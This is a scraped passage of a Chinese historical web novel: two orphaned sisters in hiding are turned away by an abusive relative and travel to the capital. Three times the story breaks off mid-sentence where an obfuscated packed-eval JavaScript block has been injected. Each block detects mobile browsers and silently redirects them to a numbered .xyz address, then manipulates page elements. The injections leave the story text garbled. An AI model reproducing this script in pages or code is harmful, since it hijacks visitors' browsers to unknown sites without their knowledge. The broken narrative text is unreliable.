陛下深夜下旨将太子赵献缉拿下狱,废了他的储君之位,连同他的母妃也一起废黜。
此后,皇七子敏亲王赵嘉入主东宫,陆砚舟被封为太子亲卫军统领,可自由出入皇宫内外,替太子办差。
赵嘉仁善勤恳,不似赵献般狂妄无度,百官欣慰敬服,就连慕氏一族也对他极其拥戴,只因他曾养在皇后膝下,立他为太子,总好过其余皇子。
江山有继,赵昀却重病缠身。
祐宁十六年,天子赵昀于议事殿吐血驾崩。
新帝赵嘉登基,改年号为奉启,太子妃佟氏册立为后,陆砚舟升任殿前指挥使。
时过境迁,新帝登基。
在外流落了一年半的顾初禾仍旧不敢松懈,她在破庙里藏着,平时无事压根也不敢去城中,生怕被人识出。
她白天带着妹妹用弹弓射兔,下河叉鱼,上山摘野菜,夜里还要防着官兵来追捕,几乎没有睡过一个整觉。
直到这一日,妹妹顾长意喘疾复发,为了给妹妹治病,她才迈出了深山。
原本顾长意的病已经好得差不多了,可家中突发变故,断了汤药又漂泊在外,吃住都很艰难,再好的身子也扛不住了。
顾初禾换了一身少年男子装束,来到医馆求药。
如今大承
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556904|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国民安兴泰,边关也无战事,新帝登基后下令不允许权贵囤积药物,因此百姓也能以正常价格买到救命的药材了,只是顾初禾久居深山并不知情。
大夫看了一眼药方,捋着胡须对顾初禾道:“小公子,你这出手也太阔绰了。新帝仁厚爱民,为了让百姓们都有药可医,无论是什么名贵的药材,如今都能以低价买到了,你这药方至多也只需二十两。”
说着,大夫亲自去给她抓药了,顾初禾恍惚着以为自己听错了。
当初这些药别说是二十两了,就是二百两都不一定能买到,看来京里的那些权贵怕新帝动怒,已将府中存压的药材都低价回售给药商们了。
药材多了,病人少了,价钱自然就低廉了下来。
直到药包抓在她手上,她才信了这是真的。
出了医馆,满街的百姓都在夸赞新帝的仁德宽厚,只有顾初禾还像活在梦里。
先帝驾崩,如今也没人再提当年的巫蛊之事了。
她心想,或许真的已经风平浪静,便决定听母亲的建议,去锦州投奔珍姨。
顾长意也渐渐大了,若一直在破庙里住着,只怕耽误了她。
若珍姨愿意收留她们,给顾长意找个学堂念书识字,那她也愿意将身上所有的钱帛珠宝都赠给珍姨。
锦州路途遥远,顾初禾从前虽然陪母亲去过几次,可每次都是走走歇歇,边玩边赶路,并且是由车夫驾马赶车的。
现在她要一个人带着妹妹,仅靠问路前往锦州,犹如瞎子过河,摸不着边。
八月盛暑,日头高悬。
喂完了药,顾初禾哄妹妹睡着后,又细心给她的肚皮盖上了薄被。
破庙陈旧不堪,蛛网横七竖八,尘土厚积,佛像缺胳膊少腿。
知了在枝头不知疲倦地嘶鸣,声音尖锐又聒噪,仿佛也在宣泄着对这酷热的不满。
顾初禾不停地挥舞着手中的破布,驱赶那成群的蚊子,望着这破败的庙宇和恶劣的环境,满心无奈与疲惫,终是落下泪来。
这一年半的风餐露宿,她都不知道自己是怎么撑下来的,或许是因为心中的那个执念,她想要查出巫蛊案的幕后黑手是谁,替父母报仇。
自从得知了天福寺住持的真面目后,她再也不信什么善因善果了,也不信真的有神灵存在,若真有…她的父母也不会惨死。
在这破庙住了这么久,她从来没有跪拜过神佛,尽管日日都在佛像下吃住,她也没有忌过口,该吃肉吃肉。
可今日,她做出决定,即将动身去锦州。
临行前,她打算再给神灵最后一次机会。
她拖着沉重的身躯走到佛前,双手合十,跪在地上祈愿:“若这世上真有救苦救难的菩萨,那我求您,让我的父母早入轮回莫要受苦,也求您,护佑意儿健康平安,旧疾早愈,只要您做到这两件事,从此以后我烧香拜佛,一世敬您。”
次日天一亮,顾初禾到河边将布沾湿,把破庙里里外外都清扫了一遍,只要是能够得着的神像全都擦得干干净净,还从山里摘来了鲜果奉在佛前。
“姐姐,我们要去哪儿?”,顾长意见她将所有行李都搬上了马车,就知道她们即将要离开了。
顾初禾俯下身,用力将妹妹抱上马车,笑着说道:“去…给我们找个家。”
“家?”
顾长意年幼离家,这一年半里只跟姐姐朝夕相处,现在让她回忆顾宅,回忆父母,她脑海里就只剩下模糊的印象。
她还以为,这个破庙,就是她们的家。
“坐稳了,我们上路啦。”,顾初禾为免暴露身份,一直将男装穿在身上,这些天竟也穿习惯了。
8. 投奔
锦州之路,如她料想,的确山高路远。
她们是八月中旬动身的,赶到锦州城时已经是九月初了。
好在进了城,她就想起了去往珍姨家的路该怎么走,再也不用向路人问询。
午时
顾初禾将马车停在槐桃巷陈宅门前,在敲门之前,她还用帕子给自己和妹妹擦了把脸。
毕竟是登门拜访,总不好太过邋遢惹人嫌弃。
她向前一步,叩响门板。
不一会儿的功夫,宅内传来一阵脚步声,随着“吱呀”的声响,熟悉的面孔出现在顾初禾眼前。
“珍姨…”,顾初禾强忍泪水,瞧见珍姨的发上插着与她阿娘一样的金玉桂花簪,便知道她没有忘记至交好友。
果然,珍娘一眼就认出了她,眼神中充满慈爱与惊喜,“禾儿,是你!”
“是我,珍姨,我可算找到你了。”,顾初禾哽咽着,低下头将妹妹推上前来,“这是意儿。”
“意儿,快叫人,这就是我一直与你说的珍姨。”
顾长意身子弱,自打她出生后,舒映芳就没带她出过远门,也没来过锦州,因此她并不认得珍娘。
她怯生生地躲在姐姐身后,稚声稚气地唤了声,“珍姨。”
“都这么大了。”,珍娘见她们姐妹衣衫又脏又旧,脸上又一点血色都没有,知道她们肯定吃了不少苦,这一路赶过来,更是千难万险。
她心疼地冲上前,抱住两个孩子,泪如雨下。
“好孩子,你们受苦了。”
这陈宅是珍娘夫家的房子,她本家姓肖,原也是奉州人,婚后丈夫来锦州做生意,便搬迁了过来。
珍娘帮她们把马车牵到了后院,又让厨娘做了一桌子好菜,亲自烧水给姐妹俩洗澡更衣。
在外漂泊这么久,顾初禾终于有了一点家的感觉,此刻紧绷的心弦渐渐松懈下来。
洗完澡,来到前厅用餐。
珍娘给顾长意喂饭,擦嘴,温柔又耐心,就像亲生母亲一样。
顾初禾心想,若有珍娘这般慈爱的人抚育妹妹长大,也算弥补了妹妹没有父母的缺憾。
“珍姨,此番前来,我有个不情之请。”,顾初禾思虑再三,还是艰难开口了,“意儿年幼,正是读书的时候,我虽上过几年学,可终究不似先生博学广知,只怕教导不好她…所以,我想请珍姨收留意儿做义女,为她找一个好学堂好先生,教她识字做人,若这般,我也不算辜负了阿娘的嘱托。”
她虽开了口,但只替妹妹求了未来,并没有说自己以后怎么办。
她怕自己要的太多,让珍姨为难,更怕自己的要求太过,惹人厌烦。
“您放心,意儿读书所需的一切费用,都由我来承担,只求您收留她,为她安一个户籍。”
珍娘闻言,不免心疼她的懂事和谨慎,握着她的手,温声道:“禾儿,你虽不是我亲生,可我和你母亲是自幼的交情。在我面前,你不用这般低声下气小心谨慎,从此以后这里就是你们的家,我会将你和意儿视作亲生骨肉般疼爱。”
“珍姨…”,顾初禾感动落泪。
“好孩子,快吃饭。”,珍娘抚了抚她的头,笑着说:“吃完饭我就带你们去办新户籍,咱们这一片的保正和保长与我相熟,只要稍作通融,不出十日就能办好。”
“真的吗,那太好了。”
“对了,珍姨,我在想…虽然巫蛊之事已鲜少被人提起,可我毕竟曾在奉州生活多年,万一被同乡认出来,只怕会给你添麻烦。”
顾初禾思虑再三,提议道:“意儿年幼,见过她的人不多,给她办女户没问题,至于我…要不想法子给我办成男户吧,这样的话,除了验身,一般人看了户籍上的性别,也就不再生疑了。”
“这法子是不错,可是你毕竟是女儿身,若落了男户,以后可怎么婚嫁呢?”,珍娘想得长远,为她以后考虑,觉得这样安排不妥。
可顾初禾坚持,“先不管那么多了,还是保住性命要紧。”
“也罢,那就听你的。”
饭吃得差不多了,顾初禾才想起来问:“珍姨,我来了这大半日,怎么不见荀叔?”
“哦,你荀叔有桩买卖要做,去了外乡,还得些日子才会能回来呢。不必管他,你们只需在这里吃好睡好就成。”,珍娘提到丈夫的一瞬,脸色就变了,似有难处,却不愿多谈。
不得不说,在陈家的日子比破庙好过多了,姐妹俩再也不用担心吃了上顿没下顿,也不用担心雨水淹没了床铺,仅在珍娘身边十日,就已经胖了一圈儿。
今日一早,珍娘就去领籍书了,她给保正塞了不少银钱,办起事来就是爽快。
珍娘婚后育有一女一子,长女陈馨蕙已于去年出嫁,幼子陈楚蕴,今年刚十一岁,还在读书常住学堂,半个月才回来一次。
顾初禾为妹妹穿上了新衣,准备欢欢喜喜地迎接新生的日子。
她心想,既然已经住进了陈家,那自然要有福同享,马车上那些珠宝钱帛,也是时候该交给珍姨一并管理了。
她从车上捧下一箱珠钗首饰,刚搬到珍姨的屋里,就听见门外传来一阵焦急匆忙的脚步声。
“珍姨。”,她下意识地以为是珍姨回来了,可回身看见的,却是珍姨的丈夫陈荀。
陈荀怒不可遏的神情,吓到了顾初禾。
“荀叔,我…”
还未等顾初禾解释自己为什么在这儿,陈荀忽然像疯了一样冲到她面前,指着她的鼻尖骂道:“死丫头,你个讨命鬼,你爹娘死了,就跑来祸害我们陈家,安的什么心呢你!?”
爹娘的死,必将是她一生之痛,陈荀当着她的面提这件事,更是令她心如刀绞。
可是为了能找到个落脚地,为了妹妹以后的生活能有保障,她只能忍下痛楚,好声好气地赔笑道:“不是,荀叔,我和珍姨…”
“闭嘴,你赶紧给我滚,可别让我们家沾上晦气!”
陈荀凶神恶煞,不由分说直接将顾初禾推倒在地,就连她手中的首饰盒也摔了出去。
幸好里面装的不是玉镯等物,否则这一摔肯定全都碎了。
而陈荀在看到一地珠宝后,神色骤变,两眼放光。
顾初禾从他的眼中只能看到两个字:“贪婪。”
“住手!”,珍娘从外头回来,欢喜地捏着两张新办的籍书,准备和顾初禾分享喜悦。
可她刚进到后院,便看见丈夫凶悍的一面。
她急忙跑过去护住顾初禾,并将她扶起了来,心疼地问她有没有受伤。
“你这是干什么,禾儿失了双亲,是信任我,才来投奔于我,我已决定收留她们姐妹,你怎能随意赶她们走!”
珍娘张开双臂,挡在顾初禾的面前,又被陈荀一把推开。
“你个贱妇疯了是吗?顾氏夫妇与巫蛊之事牵连甚深,若是咱们收留了她们姐妹俩,必然会祸及你我。”
明哲保身本是人之常情,若陈家为难,顾初禾也不会死皮赖脸的留下,可陈荀出口伤人,毫不顾及往日交情,对友人的女儿推搡辱骂,实在可恶。
“他们夫妻二人顽固耿直,许是得罪了朝中的哪位权贵也不自知,才会在深夜惨遭灭口。虽说这事已经过去了一年多,可这一年多里一点也不太平,偶有官兵挨家挨户查验生人,想必就是在找她们呢。咱们不到官府去检举她们还活着,已是仁至义尽,算对得起顾家了,可别再引火上身。”
陈荀步步紧逼,说什么都不肯收留姐妹俩。
见珍娘一直护着顾初禾,他更是气不打一处来,只怕下一刻就要动手打人了。
“你若是心软,可曾想过她妹妹那是个病秧子,药罐子,得花多少钱才能养得活呀?等她们长大成人,是否还要准备一份丰厚的嫁妆送出门?你我哪有这么多钱财!”
“可映芳是我的至交好友,这两个孩子是她的血脉,难道我要坐视不理,眼睁睁看着她们露宿街头吗?”,珍娘重情义,尽管陈荀如此说,她也还是坚持要留下好友之女。
陈荀闻之并没有动容,反倒双眼瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556905|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间眯起,像是两道寒光凛冽的利刃。
“贱妇,我好话歹话与你说尽了,你却还是执迷不悟,真是欠收拾!”
随着他的话音落下,手臂亦高高扬起,掌心快速落下,重重地扇在了珍娘的脸上。
面对这突如其来的一巴掌,珍娘毫无防备,脚步踉跄了好几步才勉强站稳,脸上火辣辣的疼痛逐渐传来,惊愕与委屈瞬间涌上心头,眼眶也跟着泛红。
这一掌不仅扇痛了珍娘,就连顾初禾也被吓到了。
她的父母多年来恩爱和敬,从未吵架斗嘴过,掌掴这种狠戾无德之事更是闻所未闻。
“住手,不要打珍姨!我们走就是!”,顾初禾心疼地抱着珍姨,看见脸上瞬间浮现出鲜明的红印,更是万分自责。
“珍姨,我和意儿承蒙你的大恩,过了这些天舒心的日子已经足够了,这里毕竟是陈家,他说得对,我们姐妹俩若是一直住下去,只怕会连累你…”
珍娘用力拉住顾初禾,眼中噙泪:“禾儿,禾儿,你别冲动,不能走,容我和你荀叔再商量商量。”
“商量什么?!”
顾初禾与珍娘对话,又被陈荀呵止。
原本顾初禾想着好聚好散,心里有许多话都不打算说了,可陈荀一而再地对她展现恶意,那她也没必要给对方留什么情面了。
“荀叔,当初蕙儿姐姐与那已有妻室的何公子私奔,致使名声受损,是我阿娘不远千里送来银钱打点了何家人压下此事,这才有姐姐如今高嫁别家的好日子。”
顾初禾脊背挺直,目光如炬,她微微仰起头,毫无惧色地直视着陈荀。
“若我阿娘当时也选择明哲保身,坐视不理,那么蕙儿姐姐就只有嫁给何公子做妾这一条路可走了。”
她不卑不亢有理有据,声音清脆而坚定地细数着顾家对陈家多年来的恩情。
“我阿娘从不奢求你知恩图报,不图你谢她慷慨相助,还一直教导我和意儿要敬重珍姨和你,阿娘每每得了好东西,都会遣人送一半到你们陈家。”
她将珍姨护在身后,嘴角勾起一抹嘲讽的笑,由下至上白了陈荀一眼。
“就连你住的这个宅子,也是我爹娘借钱给你修缮的,如果我没记错的话,你至今还没还这笔账呢!他们多年来的诚心相待,却换来你的袖手旁观狼心狗肺,我真替他们不值!”
顾初禾虽年纪小,却底气十足,将陈荀无情无义,自私懦弱的低劣品行一一揭开袒露无余。
可陈荀闻言恼羞成怒,不仅不觉得愧对顾家,竟还想出手伤人。
而顾初禾早看出他是个嘴上说不过,便只想用拳头和力气欺压弱小的废物,她一个闪身,躲过了陈荀的攻击。
他常年饮酒寻欢作乐,导致反应迟钝,行动也变得迟缓,身体前倾踉跄了一下,竟自己撞到了门柱。
顾初禾懒得再跟他废话,蹲下身捡起那些珠宝,交到珍娘的手里。
“珍姨,感谢你这些日子对我们的照顾,四处奔波帮我和意儿办下了新的籍书,这些礼物请你收下,聊表我的心意。”
“禾儿,你这是说哪里的话,我怎么能收你的东西,我为你们做那些事都是心甘情愿的,都是应该的。”,珍娘不是重利之人,反手将珠宝盒推了回去,“快快收回去,莫要再说这么见外的话。”
珍娘推辞,可陈荀是个不要脸的,方才他对顾初禾口出恶言,嘴脸恶毒,现在竟然厚颜无耻地走到顾初禾面前,伸手想要这箱珠宝。
“凭什么不要,她们姐妹在咱家白吃白住了十天,难道分文不取?就是咱们该拿的!”
“这是我对珍姨的心意,和你有什么关系?”,顾初禾一把夺了回来,冷笑道:“你越是想要,我偏不给!”
她将珠宝盒抱在怀里,陈荀总不好光天化日强行掠夺。
“珍姨,我们后会有期,你保重好身体。”
说罢,她直接转身回屋拉上顾长意上了马车。
珍娘哭得撕心裂肺,却被陈荀死死拉着,就连送她们出门都不允许。
9. 京城
顾初禾带着妹妹在城中待了一天,买了些吃食,又置办了几件成衣。
如今她有了新的籍书,住客栈也不用担心被人识破身份了,换上一身男装,旁人只以为是哪家小公子不学无术,带着妹妹偷跑出来玩耍呢。
那陈荀仗着前两年生意不错攒了点家底,与城中一些纨绔时常聚在一起喝花酒,若不是珍姨操持着家务,陈家早就倒了。
现如今陈荀又频繁出入赌场,只怕那点子家底也被他浪得差不多了。
珍姨的手头也不宽裕,还费心给她们姐妹裁制新衣,办籍书也塞了不少好处,恐怕如今更是拮据了。
她思来想去,还是担心珍姨,决定趁天黑时再去一趟陈家,将珠宝盒送过去。
只要藏得好,陈荀也不会发现,这样珍姨也有些悌己钱傍身。
天刚擦黑
城西裁缝铺的花掌柜肘弯挎着一个包袱,叩响了陈家的大门。
珍娘以为是顾初禾她们回来了,一听见动静就从屋子跑了出来,亲自来开门。
“花掌柜,你怎么来了?”,见来者不是顾初禾,珍娘难掩失落。
门里,陈荀喝了酒,正躺在树下的藤椅上摇着蒲扇。
两人的对话声惊动了他,也凑到跟前来问道:“谁呀!?”
花掌柜的指尖轻捏了捏珍娘的手臂,笑着道:“娘子忘了?前些日子你说要寻些好的花样做鞋,等绣好了送去给你家蕙姐儿,这不,鞋样子我找出来了,今儿特意给你送了来。”
陈荀听闻是裁缝铺来送鞋样子,且是为了他女儿绣的,便摆摆手又回藤椅上躺下了。
可珍娘接过包袱只觉得沉甸甸的,最底下一层还叮啷作响,加上花掌柜拼命给她眨眼睛,便知道这是顾初禾的意思。
“得了,东西也送到了,我就先回去了。”,花掌柜不便久留,又给她使了个眼色,就匆匆离开了。
珍娘小心护着包袱回到屋里,烛光下,她摊开包袱,看见鞋样的下面铺着一层珠宝,还有一封信。
信上写道:“珍姨,我与意儿已找到落脚处,好生住下了。您不必为我们担心,这些心意您千万藏好,若来日有机会,我再回来看您,望您珍重自身,切莫牵念。”
还没看完,珍娘就已泪如雨下,泪水打湿了信件和珠宝。
她内心自责,觉得自己愧对舒映芳,更担心顾初禾姐妹的安危。
院外
顾初禾爬到了陈家院墙旁边的草垛上,看见陈荀悠闲地躺在树下,还哼着小曲儿。
她想为自己和珍姨出口恶气,便掏出弹弓,对准了树上的马蜂窝,两指一松,悬挂在树叉上的蜂群落地,刹那间围绕着陈荀乱舞。
陈荀惊恐地挥舞着双手,试图赶走马蜂,可这一举动却更加激起马蜂的斗志,齐齐的朝着他的脸和脖子,还有手臂疯狂地蛰去。
他一边惨叫,一边在原地拼命打转,没一会儿就被蛰得满脸包,像个发了酵的馒头。
他慌不择路,脚下一滑,“扑通”一声摔倒在地,疼得在地上直打滚,眼泪鼻涕一股脑地流了出来。
顾初禾见他那凄惨不堪的模样,忍不住笑出了声,她笑得前仰后合,心里那口恶气总算是出了。
因怕被人发现,虽热闹还没看完,也只得恋恋不舍地先离开了。
城西裁缝铺
顾初禾比花掌柜晚了一步到店里,刚进门她就朝着花掌柜行了一礼。
“多谢花掌柜替我跑这一腿,有劳了。”,顾初禾故意压低嗓音,学着男人们的声线说话。
花掌柜掩面一笑,牵着顾长意到她面前:“小公子太客气了,您在我店里买了那么多衣裳,跑个腿儿算什么。”
花掌柜开门做生意,迎来送往见过的客人多如牛毛,可从来还没接待过像顾初禾这样的青稚羞涩“少年”,因此生了几分调弄之心。
她一袭红色罗裙,腰肢如柳,莲步轻移,纤细修长的玉手轻抚顾初禾的脸颊,顺着下颌又向下,即将触及顾初禾微微隆起的柔软弹嫩。
顾初禾自知再不躲开的话,自己就要暴露身份了,她局促地打量着周围的一切,连忙从腰间抽出折扇,紧张地挡在身前。
“花掌柜,天色不早了,我与妹妹都已困倦,就先告辞了。”
说罢,她连忙拉着顾长意跑出了裁缝铺,脚下没当心,还险些摔了一跤。
她逃也似的在街头飞奔,直到拐了七八道弯,才扶着墙大口喘气,可怜小长意腿都快跑断了。
“姐姐,我们现在要去哪儿呀?”
顾初禾缓了缓,蹲下身抚着妹妹的脸庞,心疼又宠爱地说道:“去京城,姐姐带你去吃全天下最好吃的糕饼。”
都说最危险的地方最安全,越是靠近皇城,就越是令人意想不到,顾初禾心想,不如就去京城藏身。
顾家经商多年,不说富甲一方,好歹也算是在奉州有头有脸的人家,积攒下了不少家底。
逃亡的那一夜,舒映芳将能装的东西都装了,马车塞得满满当当。这一车的财帛珠宝,只要稍微俭省些,就是在京城买个小宅子,剩下的钱都足够她们姐妹俩过一辈子的了。
顾初禾低头,看见自己手里握着陆砚舟送给她的折扇,不知他当初的诺言是否还作数。
若她前去投奔,不知陆砚舟会否愿意帮她藏身京城,可转念一想,还是罢了。
倘若她的身份暴露,岂非害了他。
马车缓缓驶入城中…
宽阔平整的街道,是由青石板铺就,被往来的车马和行人打磨得光滑。
街道两旁,上百家店铺林立,招牌高悬,琳琅满目,她与妹妹看得目不暇接,心中满是震撼。
奉州城迎接先帝圣驾的那几日,已是她见过的最繁华的景象,可是与京城一比,简直是天壤之别。
更何况,这还只是京城的其中一条街道,并非皇宫外的天道御街。
再往前走,一座气派的酒楼映入眼帘,飞檐斗拱雕梁画栋。
大门敞开着,伙计们热情地招呼着客人,酒香菜香飘散出来,令人垂涎欲滴。
连日赶路,顾初禾一直想着带妹妹好好泡个澡,吃顿像样的饭菜。
看着这酒楼里客人迎来送往,想必口味绝佳,她没多犹豫,与顾长意直接迈进了这百味楼。
大堂内,刚好有一空桌,姐妹俩便坐了下来,顾初禾让伙计上几道店里特色的菜,再加一壶消暑的酸梅汤就是。
顾长意喜欢喝酸甜的,咕噜咕噜连着喝了两三杯酸梅汤,喝得都打嗝了。
“可不能再喝了,一会儿吃不下饭菜。”,顾初禾捏捏她的鼻尖,把杯子收走了。
她们坐等饭菜上桌,百无聊赖,便侧耳听了听邻桌在聊什么…
邻桌坐着三个书生模样的青年男子,正议论朝中局势,神色各异。
身着褐色长袍的青年,谨慎地环顾四周,而后压低嗓音道:“听闻了吗?此次负责为陛下选秀的绫王,被殿前指挥使陆祳参了一本,说他借选秀之名强抢民女,威逼纳妾,已经害得好几个良家女上吊自尽了…”
“那绫王可是陛下的亲皇叔啊,这陆祳初生牛犊,竟敢跟皇亲对着干,不要命了?”,三人中年纪最轻的青衫男子满脸担忧地问道。
最年长的灰衣男子端起酒杯,轻抿一口,冷哼一声道:“你知道什么呀,当今圣上的乳娘就是陆祳的亲娘,他俩可是奶兄弟,自小亲得能穿同一条裤子。”
他身体前倾,声音较刚才更小了些,与其他二位的脑袋聚拢在一起。
又道:“陛下刚一登基,就给陆祳赐了宅院,还是在皇城外最近的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556906|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御街上,一墙之隔便是皇宫,此等荣宠,哪是绫王能比得上的。”
青衫男子皱了皱眉头,分析道:“是吗,那由此看来,绫王这回是要倒台了?”
此时,最先挑起话头的褐袍青年摇了摇头,反驳道:“那也未必啊,想当初先帝还在位时,几次遇刺都是绫王挡在了身前,绫王因此险些丧命,危在旦夕。先帝便下旨,无论将来是哪位皇子继位,都要对绫王以礼相待,视如天父,躬亲奉养。”
“那可难办咯,一个是为自己父皇挡过刀的亲皇叔,一个是自幼朝夕相伴的挚友,陛下这回可是左右为难了。”
三人正说着,突然听到掌柜的重重地咳嗽了一声,三人顿时神色一凛,赶紧闭上了嘴,各自端起酒杯,佯装若无其事地喝起酒来,只是偶尔眼神交汇,还能看出对刚才话题的意犹未尽。
顾初禾实没想到,刚到京城的第一日就听到了这么个热闹,她听进了心里,脸上却不敢做出任何反应,但她将一个人名记下了,“陆祳”。
虽然顾初禾每次下车都会用棉被盖住那些珠宝财帛,还在车轿上装了把锁,钥匙随身带着,可难以避免的总会有好事者扒在马车的前后东瞄西看。
这么多东西,又不能每次住店都搬到客房去,太引人注目了,可放在马棚里,又担心有人趁夜连马一起偷走。
所以她们这一路都是借宿在道观寺庙,且蜷在马车上睡着的,寸步都不敢离开。
刚才下车用餐,她也是将马车拴在显眼处一抬眼就能看的见的地方,时不时就瞄两眼。
吃完饭,顾初禾结了账,刚踏出酒楼的门槛,就看见有两个八九岁的男童,扒在她们的马车前东张西望,一见马车的主人来了,便分头向南向北跑了。
俗话说,不怕贼偷就怕贼惦记。
住客栈不方便,还是得买个小宅院,安稳住下才是正经。
说干就干,顾长意麻利地爬上了车轿,顾初禾驾马往前去找城中房屋买卖的牙行。
可买房不是小事,牙行的人见她年纪小,还带着个小娃娃,不仅怀疑她们兜里没钱,还怀疑是同行来捣乱的,就连带她们去看看房子都不愿意。
无奈,顾初禾只好又往别处寻。
刚坐上马车,还没动身,便听见一阵急促的马蹄声传来,人群瞬间慌乱起来。
她转头望去,只见几匹高头大马横冲直撞而来,为首的一个少年衣着华贵,一脸骄横。
他身后的几个纨绔,亦是服饰配饰皆属上乘,一眼便知是权贵子弟。
百姓见他们踏马而来,纷纷避让,可还是有个衣着朴素的黄衣少女躲避不及,被马群带起的劲风刮倒在地。
黄衣少女惊恐地瞪大双眼,手脚慌乱地想要爬起,身体却像定住了一样动弹不得。
那些少年见状,不但没有勒住缰绳,反而肆意大笑,纵马直朝着黄衣少女踏去。
顾初禾心中一紧,毫不犹豫地冲了过去。
她几步便跨到了少女身前,用力将少女往旁边一拉,马蹄在离她们不到半尺的地方停住,溅起的尘土扑了她们一脸。
顾长意被这惊险场面吓得尖叫起来,“姐姐!”
权贵当街耍横,差点踩死一个姑娘,却毫无愧色,连声问询都没有。
为首的纨绔睥睨一眼后,就那么挥鞭而去了…
见没出人命,四周的百姓也就渐渐散开了。
顾长意跳下马车,哭着跑到顾初禾身边,死死抱着她:“姐姐,你吓死我了,呜呜呜…”
“没事没事,别怕。”,顾初禾将她抱在怀里,耐心安抚的同时,转头看向那个黄衣少女,“姑娘你没事吧?伤到哪了吗?”
少女惊魂未定,捂着胸口摇头:“没有没有,你呢?”
二人相视一笑,互相搀扶着站了起来。
10. 结拜
少女揉了揉手腕后,朝着顾初禾曲膝行礼:“多谢姑娘舍命搭救。”
顾初禾微笑摇摇头,竟然没反应过来少女称呼她“姑娘”,她明明身着男装,却被轻易识破了。
她望着那几个纨绔扬长而去的背影,好奇问道:“方才那些人是谁啊,怎么如此蛮横,就不怕伤到人吗?”
“你是刚来京城吧?”,少女叹了声气,虽满肚子愤懑,却也只敢悄声说话,“京城谁人不知,为首的那是佟家的小公子佟却尘,他姐姐是当今皇后,再怎么骄横,也无人敢管…踩死个人算什么,在他们眼里,我们这些百姓就如蝼蚁。”
说罢,她朝着佟却尘离去的方向轻啐了一口。
接着,突然微笑着自报家门:“我叫郁春琅,你呢?”
“额,在下…肖初禾。”
顾初禾现在的新籍书上的名字,改为了肖初禾,随珍娘姓。
顾长意则改名肖长意。
郁春琅自上往下打量了她一番,看着她白皙的皮肤,纤细的腰线,噗嗤一声笑了出来:“肖姑娘,你要女扮男装,好歹也装得像一些,这也太敷衍了。”
顾初禾倒吸一口凉气,惊诧问道:“你怎知我是女儿身。”
“废话,你说话的声音,耳垂上的环痕,还有这儿…”,郁春琅指着她隆起的胸部,掩面偷笑。
接着,又低头指向顾长意,“还有她,她管你叫姐姐。”
“是,我疏忽了。”,顾初禾不好意思地垂眸笑了笑。
郁春琅围着她转了一圈,最后又定身在她面前,歪着头问道:“你为何要女扮男装?”
突然被人这么一问,顾初禾没想好应对之词,咬了咬唇,随便找了个理由搪塞:“我来京城寻亲,穿男装方便些。”
“你亲戚叫什么,住哪里,做什么营生?我从小在京城长大,哪里都知道,你告诉我,我带你去找。”,郁春琅插着腰拍着胸脯,一副京城我熟得很的架势。
可顾初禾是胡诌的,她哪有什么亲戚在京城,心虚地呃了半天,一个字也没蹦出来。”
郁春琅看她的神情就知道是扯谎,“又是骗我的,你压根不是来寻亲的对吧?”
谎言被拆穿,顾初禾也不装了,直言道:“实不相瞒,我和妹妹相依为命,已经没有家人了,也没有亲戚。”
“这么惨…”,郁春琅没想到是这么个答案,有些愧疚地叹了声气。
接着,又扬手拍了下顾初禾的肩膀,笑着道:“这样吧,看在你刚才救了我一命的份上,如果你不嫌弃我家里简陋,要不就上我家暂住吧。”
在外流浪那么久,也见过形形色色许多人了,除了珍姨,郁春琅是第一个邀请她们去家中居住的人。
不知怎的,顾初禾突然鼻头一酸,“你,不怕我是坏人?”
郁春琅摇摇头,笑道:“你要是坏人,就不会舍身救我了。”
“行了,别客气,我家又破又小,说不定你们还觉得住着委屈呢,先去看看吧,之后要是找到什么好宅子,再搬也不迟。”
顾初禾低头想了想,与其住客栈提心吊胆,不如就先借住在郁春琅家,有个落脚点,接下来找房子也方便些。
她便不再推辞,转身上了马车,郁春琅和她一起坐在前头指路。
与此同时,陆砚舟刚从郊外回来,赶着进宫向陛下复旨。
新帝登基后,他暗中调查绫王大肆敛财,欺压百姓强抢民女的证据,不同于其他朝臣的谨小慎微,他在朝中以一人之力对抗权势,特立独行。
他知道自己得罪了不少权贵,但他并不惧怕后悔,正义与百姓的福祉,总要有人去伸张。
他一条黑色的皮质腰带紧紧束在腰间,没有过多的装饰,仅在扣合处有一枚古朴的铜扣,镶嵌着一颗蓝宝石。
这一年半来,他不再似从前那般爱玩笑,也甚少饮酒作乐,换了一副冷峻的面孔,深邃的眼眸中藏着几分势要肃清朝纲的坚毅,褪去少年时期的稚嫩青涩,如今已然变得持重沉稳。
顾初禾去往京郊,陆砚舟则策马疾驰回宫。
一个朝南,一个朝北。
